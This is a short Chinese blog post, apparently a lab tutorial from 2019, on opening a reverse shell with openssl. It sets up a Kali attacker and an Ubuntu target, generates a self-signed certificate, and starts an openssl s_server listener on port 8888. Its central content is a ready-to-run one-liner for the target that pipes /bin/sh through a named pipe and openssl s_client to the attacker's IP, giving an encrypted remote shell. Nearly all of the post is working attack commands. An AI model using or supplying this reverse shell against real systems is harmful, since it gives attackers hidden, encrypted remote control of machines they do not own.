Jirairya

使用openssl反弹shell

2019-02-24
hack  sec

实验

环境:

  • kali(192.168.198.200)
  • ubuntu(192.168.198.206)

在kali机器上生成自签名证书:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

在kali机器上启动8888端口监听:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

在目标机器上利用openssl反弹shell:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.198.200:8888 > /tmp/s; rm /tmp/s

refer

https://medium.com/@int0x33/day-43-reverse-shell-with-openssl-1ee2574aa998


Similar Posts

Comments